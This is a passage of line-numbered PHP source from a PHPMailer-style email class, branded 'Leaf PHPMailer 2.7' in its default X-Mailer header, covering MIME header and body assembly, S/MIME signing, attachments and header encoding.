  1926. $message .= $buf_o . $soft_break;
  1927. $buf = $word;
  1928. }
  1929. }
  1930. $firstword = false;
  1931. }
  1932. $message .= $buf . self::CRLF;
  1933. }
  1934.  
  1935. return $message;
  1936. }
  1937.  
  1938. /**
  1939. * Find the last character boundary prior to $maxLength in a utf-8
  1940. * quoted-printable encoded string.
  1941. * Original written by Colin Brown.
  1942. * @access public
  1943. * @param string $encodedText utf-8 QP text
  1944. * @param integer $maxLength Find the last character boundary prior to this length
  1945. * @return integer
  1946. */
  1947. public function utf8CharBoundary($encodedText, $maxLength)
  1948. {
  1949. $foundSplitPos = false;
  1950. $lookBack = 3;
  1951. while (!$foundSplitPos) {
  1952. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  1953. $encodedCharPos = strpos($lastChunk, '=');
  1954. if (false !== $encodedCharPos) {
  1955. // Found start of encoded character byte within $lookBack block.
  1956. // Check the encoded byte value (the 2 chars after the '=')
  1957. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  1958. $dec = hexdec($hex);
  1959. if ($dec < 128) {
  1960. // Single byte character.
  1961. // If the encoded char was found at pos 0, it will fit
  1962. // otherwise reduce maxLength to start of the encoded char
  1963. if ($encodedCharPos > 0) {
  1964. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1965. }
  1966. $foundSplitPos = true;
  1967. } elseif ($dec >= 192) {
  1968. // First byte of a multi byte character
  1969. // Reduce maxLength to split at start of character
  1970. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1971. $foundSplitPos = true;
  1972. } elseif ($dec < 192) {
  1973. // Middle byte of a multi byte character, look further back
  1974. $lookBack += 3;
  1975. }
  1976. } else {
  1977. // No encoded character found
  1978. $foundSplitPos = true;
  1979. }
  1980. }
  1981. return $maxLength;
  1982. }
  1983.  
  1984. /**
  1985. * Apply word wrapping to the message body.
  1986. * Wraps the message body to the number of chars set in the WordWrap property.
  1987. * You should only do this to plain-text bodies as wrapping HTML tags may break them.
  1988. * This is called automatically by createBody(), so you don't need to call it yourself.
  1989. * @access public
  1990. * @return void
  1991. */
  1992. public function setWordWrap()
  1993. {
  1994. if ($this->WordWrap < 1) {
  1995. return;
  1996. }
  1997.  
  1998. switch ($this->message_type) {
  1999. case 'alt':
  2000. case 'alt_inline':
  2001. case 'alt_attach':
  2002. case 'alt_inline_attach':
  2003. $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  2004. break;
  2005. default:
  2006. $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  2007. break;
  2008. }
  2009. }
  2010.  
  2011. /**
  2012. * Assemble message headers.
  2013. * @access public
  2014. * @return string The assembled headers
  2015. */
  2016. public function createHeader()
  2017. {
  2018. $result = '';
  2019.  
  2020. if ($this->MessageDate == '') {
  2021. $this->MessageDate = self::rfcDate();
  2022. }
  2023. $result .= $this->headerLine('Date', $this->MessageDate);
  2024.  
  2025. // To be created automatically by mail()
  2026. if ($this->SingleTo) {
  2027. if ($this->Mailer != 'mail') {
  2028. foreach ($this->to as $toaddr) {
  2029. $this->SingleToArray[] = $this->addrFormat($toaddr);
  2030. }
  2031. }
  2032. } else {
  2033. if (count($this->to) > 0) {
  2034. if ($this->Mailer != 'mail') {
  2035. $result .= $this->addrAppend('To', $this->to);
  2036. }
  2037. } elseif (count($this->cc) == 0) {
  2038. $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  2039. }
  2040. }
  2041.  
  2042. $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  2043.  
  2044. // sendmail and mail() extract Cc from the header before sending
  2045. if (count($this->cc) > 0) {
  2046. $result .= $this->addrAppend('Cc', $this->cc);
  2047. }
  2048.  
  2049. // sendmail and mail() extract Bcc from the header before sending
  2050. if ((
  2051. $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
  2052. )
  2053. and count($this->bcc) > 0
  2054. ) {
  2055. $result .= $this->addrAppend('Bcc', $this->bcc);
  2056. }
  2057.  
  2058. if (count($this->ReplyTo) > 0) {
  2059. $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  2060. }
  2061.  
  2062. // mail() sets the subject itself
  2063. if ($this->Mailer != 'mail') {
  2064. $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  2065. }
  2066.  
  2067. if ($this->MessageID != '') {
  2068. $this->lastMessageID = $this->MessageID;
  2069. } else {
  2070. $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
  2071. }
  2072. $result .= $this->headerLine('Message-ID', $this->lastMessageID);
  2073. if (!is_null($this->Priority)) {
  2074. $result .= $this->headerLine('X-Priority', $this->Priority);
  2075. }
  2076. if ($this->XMailer == '') {
  2077. $result .= $this->headerLine(
  2078. 'X-Mailer',
  2079. 'Leaf PHPMailer 2.7 (leafmailer.pw)'
  2080. );
  2081. } else {
  2082. $myXmailer = trim($this->XMailer);
  2083. if ($myXmailer) {
  2084. $result .= $this->headerLine('X-Mailer', $myXmailer);
  2085. }
  2086. }
  2087.  
  2088. if ($this->ConfirmReadingTo != '') {
  2089. $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
  2090. }
  2091.  
  2092. // Add custom headers
  2093. foreach ($this->CustomHeader as $header) {
  2094. $result .= $this->headerLine(
  2095. trim($header[0]),
  2096. $this->encodeHeader(trim($header[1]))
  2097. );
  2098. }
  2099. if (!$this->sign_key_file) {
  2100. $result .= $this->headerLine('MIME-Version', '1.0');
  2101. $result .= $this->getMailMIME();
  2102. }
  2103.  
  2104. return $result;
  2105. }
  2106.  
  2107. /**
  2108. * Get the message MIME type headers.
  2109. * @access public
  2110. * @return string
  2111. */
  2112. public function getMailMIME()
  2113. {
  2114. $result = '';
  2115. $ismultipart = true;
  2116. switch ($this->message_type) {
  2117. case 'inline':
  2118. $result .= $this->headerLine('Content-Type', 'multipart/related;');
  2119. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2120. break;
  2121. case 'attach':
  2122. case 'inline_attach':
  2123. case 'alt_attach':
  2124. case 'alt_inline_attach':
  2125. $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  2126. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2127. break;
  2128. case 'alt':
  2129. case 'alt_inline':
  2130. $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2131. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2132. break;
  2133. default:
  2134. // Catches case 'plain': and case '':
  2135. $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  2136. $ismultipart = false;
  2137. break;
  2138. }
  2139. // RFC1341 part 5 says 7bit is assumed if not specified
  2140.  
  2141. if ($this->Encoding != '7bit') {
  2142. // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  2143. if ($ismultipart) {
  2144. if ($this->Encoding == '8bit') {
  2145. $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  2146. }
  2147. // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  2148. } else {
  2149. $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  2150. }
  2151. }
  2152.  
  2153. if ($this->Mailer != 'mail') {
  2154. $result .= $this->LE;
  2155. }
  2156.  
  2157. return $result;
  2158. }
  2159.  
  2160. /**
  2161. * Returns the whole MIME message.
  2162. * Includes complete headers and body.
  2163. * Only valid post preSend().
  2164. * @see PHPMailer::preSend()
  2165. * @access public
  2166. * @return string
  2167. */
  2168. public function getSentMIMEMessage()
  2169. {
  2170. return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  2171. }
  2172.  
  2173. /**
  2174. * Assemble the message body.
  2175. * Returns an empty string on failure.
  2176. * @access public
  2177. * @throws phpmailerException
  2178. * @return string The assembled message body
  2179. */
  2180. public function createBody()
  2181. {
  2182. $body = '';
  2183. //Create unique IDs and preset boundaries
  2184. $this->uniqueid = md5(uniqid(time()));
  2185. $this->boundary[1] = 'b1_' . $this->uniqueid;
  2186. $this->boundary[2] = 'b2_' . $this->uniqueid;
  2187. $this->boundary[3] = 'b3_' . $this->uniqueid;
  2188.  
  2189. if ($this->sign_key_file) {
  2190. $body .= $this->getMailMIME() . $this->LE;
  2191. }
  2192.  
  2193. $this->setWordWrap();
  2194.  
  2195. $bodyEncoding = $this->Encoding;
  2196. $bodyCharSet = $this->CharSet;
  2197. //Can we do a 7-bit downgrade?
  2198. if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  2199. $bodyEncoding = '7bit';
  2200. $bodyCharSet = 'us-ascii';
  2201. }
  2202. //If lines are too long, and we're not already using an encoding that will shorten them,
  2203. //change to quoted-printable transfer encoding
  2204. if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
  2205. $this->Encoding = 'quoted-printable';
  2206. $bodyEncoding = 'quoted-printable';
  2207. }
  2208.  
  2209. $altBodyEncoding = $this->Encoding;
  2210. $altBodyCharSet = $this->CharSet;
  2211. //Can we do a 7-bit downgrade?
  2212. if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  2213. $altBodyEncoding = '7bit';
  2214. $altBodyCharSet = 'us-ascii';
  2215. }
  2216. //If lines are too long, and we're not already using an encoding that will shorten them,
  2217. //change to quoted-printable transfer encoding
  2218. if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
  2219. $altBodyEncoding = 'quoted-printable';
  2220. }
  2221. //Use this as a preamble in all multipart message types
  2222. $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
  2223. switch ($this->message_type) {
  2224. case 'inline':
  2225. $body .= $mimepre;
  2226. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  2227. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2228. $body .= $this->LE . $this->LE;
  2229. $body .= $this->attachAll('inline', $this->boundary[1]);
  2230. break;
  2231. case 'attach':
  2232. $body .= $mimepre;
  2233. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  2234. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2235. $body .= $this->LE . $this->LE;
  2236. $body .= $this->attachAll('attachment', $this->boundary[1]);
  2237. break;
  2238. case 'inline_attach':
  2239. $body .= $mimepre;
  2240. $body .= $this->textLine('--' . $this->boundary[1]);
  2241. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2242. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2243. $body .= $this->LE;
  2244. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  2245. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2246. $body .= $this->LE . $this->LE;
  2247. $body .= $this->attachAll('inline', $this->boundary[2]);
  2248. $body .= $this->LE;
  2249. $body .= $this->attachAll('attachment', $this->boundary[1]);
  2250. break;
  2251. case 'alt':
  2252. $body .= $mimepre;
  2253. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2254. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2255. $body .= $this->LE . $this->LE;
  2256. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  2257. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2258. $body .= $this->LE . $this->LE;
  2259. if (!empty($this->Ical)) {
  2260. $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  2261. $body .= $this->encodeString($this->Ical, $this->Encoding);
  2262. $body .= $this->LE . $this->LE;
  2263. }
  2264. $body .= $this->endBoundary($this->boundary[1]);
  2265. break;
  2266. case 'alt_inline':
  2267. $body .= $mimepre;
  2268. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2269. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2270. $body .= $this->LE . $this->LE;
  2271. $body .= $this->textLine('--' . $this->boundary[1]);
  2272. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2273. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2274. $body .= $this->LE;
  2275. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  2276. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2277. $body .= $this->LE . $this->LE;
  2278. $body .= $this->attachAll('inline', $this->boundary[2]);
  2279. $body .= $this->LE;
  2280. $body .= $this->endBoundary($this->boundary[1]);
  2281. break;
  2282. case 'alt_attach':
  2283. $body .= $mimepre;
  2284. $body .= $this->textLine('--' . $this->boundary[1]);
  2285. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2286. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2287. $body .= $this->LE;
  2288. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2289. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2290. $body .= $this->LE . $this->LE;
  2291. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  2292. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2293. $body .= $this->LE . $this->LE;
  2294. $body .= $this->endBoundary($this->boundary[2]);
  2295. $body .= $this->LE;
  2296. $body .= $this->attachAll('attachment', $this->boundary[1]);
  2297. break;
  2298. case 'alt_inline_attach':
  2299. $body .= $mimepre;
  2300. $body .= $this->textLine('--' . $this->boundary[1]);
  2301. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2302. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2303. $body .= $this->LE;
  2304. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2305. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2306. $body .= $this->LE . $this->LE;
  2307. $body .= $this->textLine('--' . $this->boundary[2]);
  2308. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2309. $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  2310. $body .= $this->LE;
  2311. $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  2312. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2313. $body .= $this->LE . $this->LE;
  2314. $body .= $this->attachAll('inline', $this->boundary[3]);
  2315. $body .= $this->LE;
  2316. $body .= $this->endBoundary($this->boundary[2]);
  2317. $body .= $this->LE;
  2318. $body .= $this->attachAll('attachment', $this->boundary[1]);
  2319. break;
  2320. default:
  2321. // catch case 'plain' and case ''
  2322. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2323. break;
  2324. }
  2325.  
  2326. if ($this->isError()) {
  2327. $body = '';
  2328. } elseif ($this->sign_key_file) {
  2329. try {
  2330. if (!defined('PKCS7_TEXT')) {
  2331. throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  2332. }
  2333. // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  2334. $file = tempnam(sys_get_temp_dir(), 'mail');
  2335. if (false === file_put_contents($file, $body)) {
  2336. throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  2337. }
  2338. $signed = tempnam(sys_get_temp_dir(), 'signed');
  2339. //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
  2340. if (empty($this->sign_extracerts_file)) {
  2341. $sign = @openssl_pkcs7_sign(
  2342. $file,
  2343. $signed,
  2344. 'file://' . realpath($this->sign_cert_file),
  2345. array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  2346. null
  2347. );
  2348. } else {
  2349. $sign = @openssl_pkcs7_sign(
  2350. $file,
  2351. $signed,
  2352. 'file://' . realpath($this->sign_cert_file),
  2353. array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  2354. null,
  2355. PKCS7_DETACHED,
  2356. $this->sign_extracerts_file
  2357. );
  2358. }
  2359. if ($sign) {
  2360. @unlink($file);
  2361. $body = file_get_contents($signed);
  2362. @unlink($signed);
  2363. //The message returned by openssl contains both headers and body, so need to split them up
  2364. $parts = explode("\n\n", $body, 2);
  2365. $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
  2366. $body = $parts[1];
  2367. } else {
  2368. @unlink($file);
  2369. @unlink($signed);
  2370. throw new phpmailerException($this->lang('signing') . openssl_error_string());
  2371. }
  2372. } catch (phpmailerException $exc) {
  2373. $body = '';
  2374. if ($this->exceptions) {
  2375. throw $exc;
  2376. }
  2377. }
  2378. }
  2379. return $body;
  2380. }
  2381.  
  2382. /**
  2383. * Return the start of a message boundary.
  2384. * @access protected
  2385. * @param string $boundary
  2386. * @param string $charSet
  2387. * @param string $contentType
  2388. * @param string $encoding
  2389. * @return string
  2390. */
  2391. protected function getBoundary($boundary, $charSet, $contentType, $encoding)
  2392. {
  2393. $result = '';
  2394. if ($charSet == '') {
  2395. $charSet = $this->CharSet;
  2396. }
  2397. if ($contentType == '') {
  2398. $contentType = $this->ContentType;
  2399. }
  2400. if ($encoding == '') {
  2401. $encoding = $this->Encoding;
  2402. }
  2403. $result .= $this->textLine('--' . $boundary);
  2404. $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  2405. $result .= $this->LE;
  2406. // RFC1341 part 5 says 7bit is assumed if not specified
  2407. if ($encoding != '7bit') {
  2408. $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  2409. }
  2410. $result .= $this->LE;
  2411.  
  2412. return $result;
  2413. }
  2414.  
  2415. /**
  2416. * Return the end of a message boundary.
  2417. * @access protected
  2418. * @param string $boundary
  2419. * @return string
  2420. */
  2421. protected function endBoundary($boundary)
  2422. {
  2423. return $this->LE . '--' . $boundary . '--' . $this->LE;
  2424. }
  2425.  
  2426. /**
  2427. * Set the message type.
  2428. * PHPMailer only supports some preset message types,
  2429. * not arbitrary MIME structures.
  2430. * @access protected
  2431. * @return void
  2432. */
  2433. protected function setMessageType()
  2434. {
  2435. $type = array();
  2436. if ($this->alternativeExists()) {
  2437. $type[] = 'alt';
  2438. }
  2439. if ($this->inlineImageExists()) {
  2440. $type[] = 'inline';
  2441. }
  2442. if ($this->attachmentExists()) {
  2443. $type[] = 'attach';
  2444. }
  2445. $this->message_type = implode('_', $type);
  2446. if ($this->message_type == '') {
  2447. $this->message_type = 'plain';
  2448. }
  2449. }
  2450.  
  2451. /**
  2452. * Format a header line.
  2453. * @access public
  2454. * @param string $name
  2455. * @param string $value
  2456. * @return string
  2457. */
  2458. public function headerLine($name, $value)
  2459. {
  2460. return $name . ': ' . $value . $this->LE;
  2461. }
  2462.  
  2463. /**
  2464. * Return a formatted mail line.
  2465. * @access public
  2466. * @param string $value
  2467. * @return string
  2468. */
  2469. public function textLine($value)
  2470. {
  2471. return $value . $this->LE;
  2472. }
  2473.  
  2474. /**
  2475. * Add an attachment from a path on the filesystem.
  2476. * Returns false if the file could not be found or read.
  2477. * @param string $path Path to the attachment.
  2478. * @param string $name Overrides the attachment name.
  2479. * @param string $encoding File encoding (see $Encoding).
  2480. * @param string $type File extension (MIME) type.
  2481. * @param string $disposition Disposition to use
  2482. * @throws phpmailerException
  2483. * @return boolean
  2484. */
  2485. public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
  2486. {
  2487. try {
  2488. if (!@is_file($path)) {
  2489. throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  2490. }
  2491.  
  2492. // If a MIME type is not specified, try to work it out from the file name
  2493. if ($type == '') {
  2494. $type = self::filenameToType($path);
  2495. }
  2496.  
  2497. $filename = basename($path);
  2498. if ($name == '') {
  2499. $name = $filename;
  2500. }
  2501.  
  2502. $this->attachment[] = array(
  2503. 0 => $path,
  2504. 1 => $filename,
  2505. 2 => $name,
  2506. 3 => $encoding,
  2507. 4 => $type,
  2508. 5 => false, // isStringAttachment
  2509. 6 => $disposition,
  2510. 7 => 0
  2511. );
  2512.  
  2513. } catch (phpmailerException $exc) {
  2514. $this->setError($exc->getMessage());
  2515. $this->edebug($exc->getMessage());
  2516. if ($this->exceptions) {
  2517. throw $exc;
  2518. }
  2519. return false;
  2520. }
  2521. return true;
  2522. }
  2523.  
  2524. /**
  2525. * Return the array of attachments.
  2526. * @return array
  2527. */
  2528. public function getAttachments()
  2529. {
  2530. return $this->attachment;
  2531. }
  2532.  
  2533. /**
  2534. * Attach all file, string, and binary attachments to the message.
  2535. * Returns an empty string on failure.
  2536. * @access protected
  2537. * @param string $disposition_type
  2538. * @param string $boundary
  2539. * @return string
  2540. */
  2541. protected function attachAll($disposition_type, $boundary)
  2542. {
  2543. // Return text of body
  2544. $mime = array();
  2545. $cidUniq = array();
  2546. $incl = array();
  2547.  
  2548. // Add all attachments
  2549. foreach ($this->attachment as $attachment) {
  2550. // Check if it is a valid disposition_filter
  2551. if ($attachment[6] == $disposition_type) {
  2552. // Check for string attachment
  2553. $string = '';
  2554. $path = '';
  2555. $bString = $attachment[5];
  2556. if ($bString) {
  2557. $string = $attachment[0];
  2558. } else {
  2559. $path = $attachment[0];
  2560. }
  2561.  
  2562. $inclhash = md5(serialize($attachment));
  2563. if (in_array($inclhash, $incl)) {
  2564. continue;
  2565. }
  2566. $incl[] = $inclhash;
  2567. $name = $attachment[2];
  2568. $encoding = $attachment[3];
  2569. $type = $attachment[4];
  2570. $disposition = $attachment[6];
  2571. $cid = $attachment[7];
  2572. if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
  2573. continue;
  2574. }
  2575. $cidUniq[$cid] = true;
  2576.  
  2577. $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  2578. //Only include a filename property if we have one
  2579. if (!empty($name)) {
  2580. $mime[] = sprintf(
  2581. 'Content-Type: %s; name="%s"%s',
  2582. $type,
  2583. $this->encodeHeader($this->secureHeader($name)),
  2584. $this->LE
  2585. );
  2586. } else {
  2587. $mime[] = sprintf(
  2588. 'Content-Type: %s%s',
  2589. $type,
  2590. $this->LE
  2591. );
  2592. }
  2593. // RFC1341 part 5 says 7bit is assumed if not specified
  2594. if ($encoding != '7bit') {
  2595. $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  2596. }
  2597.  
  2598. if ($disposition == 'inline') {
  2599. $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  2600. }
  2601.  
  2602. // If a filename contains any of these chars, it should be quoted,
  2603. // but not otherwise: RFC2183 & RFC2045 5.1
  2604. // Fixes a warning in IETF's msglint MIME checker
  2605. // Allow for bypassing the Content-Disposition header totally
  2606. if (!(empty($disposition))) {
  2607. $encoded_name = $this->encodeHeader($this->secureHeader($name));
  2608. if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
  2609. $mime[] = sprintf(
  2610. 'Content-Disposition: %s; filename="%s"%s',
  2611. $disposition,
  2612. $encoded_name,
  2613. $this->LE . $this->LE
  2614. );
  2615. } else {
  2616. if (!empty($encoded_name)) {
  2617. $mime[] = sprintf(
  2618. 'Content-Disposition: %s; filename=%s%s',
  2619. $disposition,
  2620. $encoded_name,
  2621. $this->LE . $this->LE
  2622. );
  2623. } else {
  2624. $mime[] = sprintf(
  2625. 'Content-Disposition: %s%s',
  2626. $disposition,
  2627. $this->LE . $this->LE
  2628. );
  2629. }
  2630. }
  2631. } else {
  2632. $mime[] = $this->LE;
  2633. }
  2634.  
  2635. // Encode as string attachment
  2636. if ($bString) {
  2637. $mime[] = $this->encodeString($string, $encoding);
  2638. if ($this->isError()) {
  2639. return '';
  2640. }
  2641. $mime[] = $this->LE . $this->LE;
  2642. } else {
  2643. $mime[] = $this->encodeFile($path, $encoding);
  2644. if ($this->isError()) {
  2645. return '';
  2646. }
  2647. $mime[] = $this->LE . $this->LE;
  2648. }
  2649. }
  2650. }
  2651.  
  2652. $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  2653.  
  2654. return implode('', $mime);
  2655. }
  2656.  
  2657. /**
  2658. * Encode a file attachment in requested format.
  2659. * Returns an empty string on failure.
  2660. * @param string $path The full path to the file
  2661. * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  2662. * @throws phpmailerException
  2663. * @access protected
  2664. * @return string
  2665. */
  2666. protected function encodeFile($path, $encoding = 'base64')
  2667. {
  2668. try {
  2669. if (!is_readable($path)) {
  2670. throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  2671. }
  2672. $magic_quotes = get_magic_quotes_runtime();
  2673. if ($magic_quotes) {
  2674. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2675. set_magic_quotes_runtime(false);
  2676. } else {
  2677. //Doesn't exist in PHP 5.4, but we don't need to check because
  2678. //get_magic_quotes_runtime always returns false in 5.4+
  2679. //so it will never get here
  2680. ini_set('magic_quotes_runtime', false);
  2681. }
  2682. }
  2683. $file_buffer = file_get_contents($path);
  2684. $file_buffer = $this->encodeString($file_buffer, $encoding);
  2685. if ($magic_quotes) {
  2686. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2687. set_magic_quotes_runtime($magic_quotes);
  2688. } else {
  2689. ini_set('magic_quotes_runtime', $magic_quotes);
  2690. }
  2691. }
  2692. return $file_buffer;
  2693. } catch (Exception $exc) {
  2694. $this->setError($exc->getMessage());
  2695. return '';
  2696. }
  2697. }
  2698.  
  2699. /**
  2700. * Encode a string in requested format.
  2701. * Returns an empty string on failure.
  2702. * @param string $str The text to encode
  2703. * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  2704. * @access public
  2705. * @return string
  2706. */
  2707. public function encodeString($str, $encoding = 'base64')
  2708. {
  2709. $encoded = '';
  2710. switch (strtolower($encoding)) {
  2711. case 'base64':
  2712. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2713. break;
  2714. case '7bit':
  2715. case '8bit':
  2716. $encoded = $this->fixEOL($str);
  2717. // Make sure it ends with a line break
  2718. if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  2719. $encoded .= $this->LE;
  2720. }
  2721. break;
  2722. case 'binary':
  2723. $encoded = $str;
  2724. break;
  2725. case 'quoted-printable':
  2726. $encoded = $this->encodeQP($str);
  2727. break;
  2728. default:
  2729. $this->setError($this->lang('encoding') . $encoding);
  2730. break;
  2731. }
  2732. return $encoded;
  2733. }
  2734.  
  2735. /**
  2736. * Encode a header string optimally.
  2737. * Picks shortest of Q, B, quoted-printable or none.
  2738. * @access public
  2739. * @param string $str
  2740. * @param string $position
  2741. * @return string
  2742. */
  2743. public function encodeHeader($str, $position = 'text')
  2744. {
  2745. $matchcount = 0;
  2746. switch (strtolower($position)) {
  2747. case 'phrase':
  2748. if (!preg_match('/[\200-\377]/', $str)) {
  2749. // Can't use addslashes as we don't know the value of magic_quotes_sybase
  2750. $encoded = addcslashes($str, "\0..\37\177\\\"");
  2751. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2752. return ($encoded);
  2753. } else {
  2754. return ("\"$encoded\"");
  2755. }
  2756. }
  2757. $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2758. break;
  2759. /** @noinspection PhpMissingBreakStatementInspection */
  2760. case 'comment':
  2761. $matchcount = preg_match_all('/[()"]/', $str, $matches);
  2762. // Intentional fall-through
  2763. case 'text':
  2764. default:
  2765. $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2766. break;
  2767. }
  2768.  
  2769. //There are no chars that need encoding
  2770. if ($matchcount == 0) {
  2771. return ($str);
  2772. }
  2773.  
  2774. $maxlen = 75 - 7 - strlen($this->CharSet);
  2775. // Try to select the encoding which should produce the shortest output
  2776. if ($matchcount > strlen($str) / 3) {
  2777. // More than a third of the content will need encoding, so B encoding will be most efficient
  2778. $encoding = 'B';
  2779. if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  2780. // Use a custom function which correctly encodes and wraps long
  2781. // multibyte strings without breaking lines within a character
  2782. $encoded = $this->base64EncodeWrapMB($str, "\n");
  2783. } else {
  2784. $encoded = base64_encode($str);
  2785. $maxlen -= $maxlen % 4;
  2786. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2787. }
  2788. } else {
  2789. $encoding = 'Q';
  2790. $encoded = $this->encodeQ($str, $position);
  2791. $encoded = $this->wrapText($encoded, $maxlen, true);
  2792. $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  2793. }
  2794.  
  2795. $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  2796. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2797.  
  2798. return $encoded;
  2799. }
  2800.  
  2801. /**
  2802. * Check if a string contains multi-byte characters.
  2803. * @access public
  2804. * @param string $str multi-byte text to wrap encode
  2805. * @return boolean
  2806. */
  2807. public function hasMultiBytes($str)
  2808. {
  2809. if (function_exists('mb_strlen')) {
  2810. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2811. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2812. return false;
  2813. }
  2814. }
  2815.  
  2816. /**
  2817. * Does a string contain any 8-bit chars (in any charset)?
  2818. * @param string $text
  2819. * @return boolean
  2820. */
  2821. public function has8bitChars($text)
  2822. {
  2823. return (boolean)preg_match('/[\x80-\xFF]/', $text);
  2824. }
  2825.  
  2826. /**
  2827. * Encode and wrap long multibyte strings for mail headers
  2828. * without breaking lines within a character.
  2829. * Adapted from a function by paravoid
